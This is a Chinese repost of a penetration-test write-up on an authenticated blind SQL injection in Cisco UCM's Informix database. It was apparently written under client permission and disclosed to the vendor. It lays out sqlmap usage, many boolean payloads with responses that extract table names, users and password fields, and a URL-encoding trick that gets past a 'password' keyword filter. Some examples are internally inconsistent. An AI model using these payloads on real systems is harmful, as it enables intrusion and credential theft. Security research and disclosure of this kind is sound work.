sql 存储过程 盲注入_一次非常规 SQL 注入(informixsql)的利用过程
介紹
一個客戶正在尋找升級他們的思科 UCM 軟件,并希望保證他們的實現是安全配置的。在評估期間,我們在 Cisco UCM 管理員門戶中發現了一個經過身份驗證的 SQL 注入問題。在大多數情況下,可以使用 SQLMap 或其他工具來自動發現問題。
由于我們是在客戶端的開發環境中進行測試的,所以我們被允許對 Cisco UCM 執行更積極的攻擊。我最初使用的 SQLMap 命令如下:
root@kali~# sqlmap --level=5 --risk=3 -r request.txt
請求文件包含以下內容:
GET /ccmadmin/userGroupFindList.do?searchLimVal3=&searchLimVal4
=&whereClause=1*&searchLimVal1=&searchLimVal2=&searchLimVal7=&s
earchLimVal8=&searchLimVal5=&searchLimVal6=&rowsPerPageControl
=/ccmadmin/userGroupFindList.do?lookup=true&colCnt=4&searchLimV
al0=&lookup=true&rowsPerPage=50&searchLimVal9=&pageNumber=1&rec
Cnt=37&multiple=true HTTP/1.1
Host: Cookies: JSESSIONID=; com.cisco.ccm.admin.serv
lets.RequestToken.REQUEST_TOKEN_KEY=; JSESSIONIDSSO
=Accept: text/html
Connection: close
在讓 SQLMap 完成它所做的事情之后,我們發現了一個數據庫: Informix SQL。此外,注入方法為布爾型盲注。從那里,SQLMap 通??捎糜诿杜e底層數據庫,并可能獲得對密碼和敏感數據的訪問權。然而,在使用 SQLMap 執行這些任務之后,遇到了一些問題:
·?SQLMap 能夠枚舉當前表的名稱,但無法枚舉其他數據庫名稱和其他表名稱
·?SQLMap 能夠枚舉當前的 SQL 用戶名,但是也報告了基礎數據庫的超過1000個用戶,并且不能枚舉其他999個用戶
·?SQLMap 無法枚舉“ applicationuser”表中與任何用戶密碼相關的任何信息
以下各章節將用來說明如何查明上述每個問題的根本原因以及如何克服這些問題。
Informix 速成課程
在繼續之前,我們對于學習 Informix SQL 進行了一些研究。
以下是關于“systables”表的一個簡單學習:
·?Informix 在表“ systables”中保存所有表信息的記錄
·?“systables”中的不同列表示不同的信息,例如列“tabname”表示特定表的名稱,列“tabid”表示特定表的 ID 號
·?其他信息包括“ncols”列(表中的列數)和列“nrows”是表中的行數
作為一個例子,讓我們假設一個表被命名為“yaytableyay”。要檢索“tabid”號,可以使用以下查詢:
SELECT tabid FROM systables WHERE tabname = ‘yaytableyay’
#Returned 54
進一步說,如果我們想查找“yaytableyay”表中的行數,我們可以進行以下查詢:
SELECT nrows FROM systables WHERE tabid = 54
#Returned 15
以下是關于“syscolumns”表的一個簡單學習:
·?Informix 保存每個表中所有列信息的記錄
·?“sysolumns”中的不同列表示不同的信息,例如列“colname”表示特定列的名稱,列“tabid”表示該列分配給哪個表
·?其他信息可以包括“colno”列,它是系統按順序從左到右分配的值
舉個例子,如果我們想找出表“yaytableyay”中第一列的名稱,可以執行下面的查詢語句:
SELECT colname FROM syscolumns WHERE tabid = 54 AND colno = 1
#returned "yaycolumnnameyay"
此外,每個表都有一個名為“rowid”的隱藏列。此值分配給表中的每一行,但不會在刪除行時刪除。例如,下面的查詢不能返回任何數據,原因是我們查詢的是之前刪除的行:
SELECT * FROM yaytableyay WHERE rowid = 1337
#Returned 0 results
還有一種可能是,某一行數據甚至從未存在過。這仍將迫使數據庫返回相同的結果也就是“0” ,就像行被刪除一樣。因此,當使用“rowid”作為“ WHERE”子句時,無法區分已刪除的行和從未存在的行。
枚舉其他表名
解決 SQLMap 問題(或者任何 web 應用程序測試工具)的最佳方法之一是通過代理工具來解決流量問題。在這種情況下,通過 BurpSuite 代理 SQLMap 有助于我們解決問題,現在的問題是每當 SQLMap 被指示枚舉其他表名和數據庫名時,服務器總是會響應以下錯誤之一:
·?ERROR: A subquery has returned not exactly one row.?(錯誤: 子查詢返回的行不完全是一行)
·?ERROR: "NVL" cannot be used in a query(?錯誤: “ NVL”不能在查詢中使用)
·?ERROR: "RTRIM" cannot be used in a query?(錯誤: “ RTRIM”不能在查詢中使用)
·?ERROR: "LIMIT" cannot be used in a query?(錯誤: “ LIMIT”不能在查詢中使用)
·?ERROR: "LENGTH" cannot be used in a query?(錯誤: 查詢中不能使用“ LENGTH”)
第一個錯誤“不只一行”是 Google 搜索到的,可以鏈接到 Informix 的文檔。其他錯誤似乎是思科 UCM 本身內置的一般性限制。考慮到這些錯誤消息,似乎需要一個自定義腳本或工具來進一步利用這個問題。
為了列舉每個表,我建立了一個工作流程:
·?計算出數據庫中存儲了多少個有效表
·?按字母枚舉每個表名的字母
·?枚舉每個表中有多少行和列
為了確定有效表的數量,我們使用了“tabid”值。具體來說,我們基于以下有效載荷執行了一些“大于”和“小于”操作:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
如果每個表名的“tabid”值大于1,上述有效載荷將迫使服務器返回每個表名的首字母的 ASCII 值。這當然會返回多個結果,因為肯定有不止一個表迫使服務器響應另一個“Result is more than 1 column”錯誤。然而,這是意料之中的,因為某個東西返回的意思是某個東西存在。為了進一步說明這一點,以下面的有效載荷為例:
1=1 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid > 100) > 1
現在,我們正在尋找 tabid 值大于100的表。如果由于大于100的表格值不存在而導致表不存在,那么服務器將不會響應任何數據。
基于這個行為,我們可以列舉底層數據庫中有多少個表:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 100) > 1?
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 50) > 1?
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 75) > 1?
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 65) > 1?
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 74) > 1?
#returned "more than 1 row" error
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 75) > 1?
#returned no data
我們現在已經確定當前數據庫中的 tabid 數量為75個。
接下來,需要建立表名。使用 ASCII 值函數仍然是一種選擇,因此我們使用類似的邏輯來確定表的數量。下面的有效載荷將確定第一個表名的首字母的 ASCII 值是否大于64:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
從這個行為,我們可以列舉出第一個字母是什么:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 100
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 102
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) = 101
#returned some data
基于上述結果,第一個表的第一個字母必須是101的 ASCII 值,也就是“ e”。
移到表名中的下一個字符,我們把:
tabname from 1 for 1
替換為:
tabname from 2 for 1
由此,我們可以列舉出第二個字母是什么:
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 108
#returned some data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 110
#returned no data
1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 109
#returned some data
基于上述結果,第一個表的第一個字母的 ASCII 值必須是110,也就是‘ m’。
為了便于這篇博客文章的使用,上面例子中列舉的表是“empire”??梢允褂么朔椒杜e表的其余名稱。
在枚舉表名并將其與 tabid 值關聯之后,我們可以開始構建一些列的信息。
下面的查詢可用于幫助確定表“empire”中有多少列:
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 1
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 2
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 3
#returned no data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 4
#returned some data
1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 5
#returned no data
下面的查詢可用于幫助找出“empire”表中第一列的名稱:
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 64
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 96
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 80
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 72
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 76
#returned no data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 74
#returned some data
1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) = 73
#returned some data
枚舉其他 SQL 用戶
當 SQLMap 試圖枚舉其他 SQL 用戶時,使用了表“sysusers”。類似于本文中的“枚舉其他表”部分,當 SQLMap 試圖枚舉其他用戶時,服務器將繼續以錯誤響應。
在上一節中,我們介紹了如何將“tabid”列用作可用于枚舉表的順序數字系統。在查找“sysusers”表是如何組織的之后,發現沒有可行的順序數字系統。根據 IBM 的官方文檔,下面的列構成了“sysusers”表:
·?username
·?usertype
·?priority
·?password
·?defrole
此時,我們將隱藏列“rowid”用作 SQL 查詢的“WHERE”部分的一部分。下面的示例查詢可用于枚舉第一個用戶名的第一個字母的 ASCII 值,其中 rowid 為1:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 1) > 1#returned data
在枚舉第一個用戶名之后,我們可以繼續枚舉基于“rowid”值的其他用戶名:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 2) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 3) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 4) > 1
#returned data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5) > 1
#returned data
當“rowid”值達到5000時,就變得有趣了:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1
#returned no data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1
#returned no data
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1
#returned some data
為了幫助解決這個問題,當我們找到一個有效的用戶時,可以使用“systables”表中的“nrows”列來幫助建立。?這是因為“nrows”值是根據表中非空行的數量確定的。
下面的查詢可以幫助確定“sysusers”表中的行數:
1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) > 1#returned some data
使用這個查詢,我們可以確定“sysusers”表中包含數據的行數為1000:
1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) = 1000#returned data
考慮到這一點,我們可以開始使用‘rowid’和‘ncols’枚舉‘sysusers’表中的所有用戶名。通過遞增 rowid,我們可以遍歷查詢,每次查詢返回數據時,我們可以將 ncols 的值減少1:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1
#returned no data, ncols value is at 444
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1
#returned no data, ncols value is at 444
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1
#returned data, ncols value is at 443
...
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7850) > 1
#returned data, ncols value is at 2
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1
#returned data, ncols value is at 1
有了一組已知的非空行的 rowid,我們現在可以開始枚舉用戶名,而不必無限期地運行任何自定義腳本:
1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1#returned data
枚舉用戶密碼
如前所述,“sysusers”表包含一個名為“password”的行。我們還發現,Cisco UCM 軟件利用表“applicationuser”存儲與 Cisco UCM 軟件有關的用戶,該軟件還包含一個“password”列。
使用前面討論過的技術,應該可以列舉出整個“app_users”表... 也就是說,直到我們執行到下面的查詢:
1=1 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid = 500) > 1
#returned error “Security Exception”
這是一個奇怪的錯誤信息,而且谷歌搜不到這種錯誤的解決辦法。經過一些測試,我們確定服務器只有在用戶試圖枚舉任何表中的“password”列時才會響該錯誤?;谶@個行為,我們假設這是應用程序級別的黑名單關鍵字情況。
我們的猜測是對的!我所要做的就是對“password” 進行 URL 編碼,以解決這個問題:
1=1 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid = 500) > 1
#returned data
自定義腳本
不能使用 SQL Map 來利用這個漏洞,因此我們采取創建兩個腳本來充分利用這個漏洞。因為這個漏洞需要對 Cisco UCM 管理控制臺的認證訪問,所以這兩個腳本都要求用戶提交他們的會話 cookie。
·?sql_injection_enumerate_tables.py -枚舉數據庫中每個表的名稱,并將它們存儲在名為“cisco_tables.txt”的文件中。
·?sql_injection_extract_table.py - 讀取“cisco_tables”中的條目,并枚舉每個表條目的內容
這兩個腳本都不會針對觸發安全警報的特定單詞進行自動編碼,比如“password”。建議通過 BurpSuite 或其他代理工具代理腳本,對可能觸發安全警報的單詞進行URL 編碼。
供應商補丁
本文中描述的技術用于枚舉思科 UCM 版本11.5.1.14900-11的整個數據庫。思科被告知這個問題后,補丁目前正在開發中。雙方商定2019年11月20日為聯合披露日期。
鏈接及參考資料
·?F-secure 對影響思科 UCM 某些安裝的這個問題的官方建議可以在這里找到:https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection
·?為充分利用這個漏洞而開發的腳本可以在這里找到:https://github.com/FSecureLABS/Cisco-UCM-SQLi-Scripts
本文參考自:https://labs.f-secure.com/blog/uncommon-sql-database-alert-informix-sql-injection/
總結
以上是生活随笔為你收集整理的sql 存储过程 盲注入_一次非常规 SQL 注入(informixsql)的利用过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python定义字典列表_Python基
- 下一篇: 邓白氏编码查询_外贸人常用查询工具汇总